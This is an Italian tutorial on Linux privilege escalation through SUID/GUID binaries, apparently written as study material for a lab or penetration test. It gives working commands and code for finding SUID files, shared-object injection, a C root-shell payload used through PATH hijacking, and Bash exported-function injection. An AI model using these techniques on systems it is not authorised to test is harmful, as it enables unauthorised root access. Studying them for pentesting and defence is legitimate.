SUID / GUID - Privilege Escalation Techniques
L'escalation dei privilegi tramite SUID Set User ID e GUID Set Group ID rappresenta una delle tecniche più comuni e critiche per un attaccante, sfruttando i permessi speciali di esecuzione di file bin
SUID / GUID - Privilege Escalation Techniques
L'escalation dei privilegi tramite SUID (Set User ID) e GUID (Set Group ID) rappresenta una delle tecniche più comuni e critiche per un attaccante, sfruttando i permessi speciali di esecuzione di file binari o script con privilegi elevati.
1. Ricerca di file SUID e GUID
I file con il bit SUID o GUID settato vengono eseguiti con i privilegi dell'utente proprietario (tipicamente root) o del gruppo. Sono spesso sfruttabili per ottenere un'esecuzione privilegiata.
Permessi
- SUID:
rws--x--x
- GUID:
rwxr-s--x
Comandi utili:
# Cerca file con SUID o GUID
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
Cerca solo i file con SUID
find / -perm -u=s -type f 2>/dev/nullUna volta individuati, si consiglia di cercare eventuali vulnerabilità note nei binari tramite Exploit-DB o Google.
2. SUID / GUID Shared Object Injection
Fase di Analisi:
Usare strace per capire quali file vengono caricati:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"Supponiamo che venga cercato un file inesistente:
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)Sfruttamento:
Compiliamo una shared library malevola:
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.cLanciando /usr/local/bin/suid-so, la shared library verrà caricata con privilegi root, ottenendo una shell elevata.
3. SUID / GUID Exploit tramite Environment Variables
Supponiamo di avere il binario /usr/local/bin/suid-env con SUID attivo. Eseguiamolo:
/usr/local/bin/suid-envNotiamo che tenta di avviare un servizio Apache, ma fallisce. Possiamo analizzare il contenuto del binario:
strings /usr/local/bin/suid-envVediamo una chiamata tipo:
service apache2 startPoiché non usa il path completo, possiamo sfruttarlo creando un finto binario service:
# Crea payload
nano /home/user/tools/suid/service.cContenuto:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
Compilazione:
gcc -o service /home/user/tools/suid/service.c
chmod +x serviceEsecuzione del binario con PATH manipolato:
PATH=.:$PATH /usr/local/bin/suid-env4. SUID / GUID - Abuso delle Funzioni di Shell
Nel caso del binario /usr/local/bin/suid-env2, l'eseguibile utilizza il path completo:
/usr/sbin/service apache2 startCon versioni di Bash < 4.2-048 è possibile sfruttare la funzionalità di shell function injection:
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/serviceEseguendo:
/usr/local/bin/suid-env2verrà eseguita la nostra funzione shell e otterremo una root shell.
Conclusioni
L'analisi dei binari SUID e GUID rappresenta una delle attività fondamentali durante la fase di post-exploitation. La comprensione del comportamento interno dei binari e l'utilizzo delle variabili d'ambiente, delle shared object e delle shell functions possono portare ad una escalation dei privilegi efficace e silente.
✅ Suggerimento: Documenta sempre i binari SUID trovati, i loro comportamenti e i test eseguiti, per mantenere tracciabilità durante un engagement di red teaming o penetration test strutturato.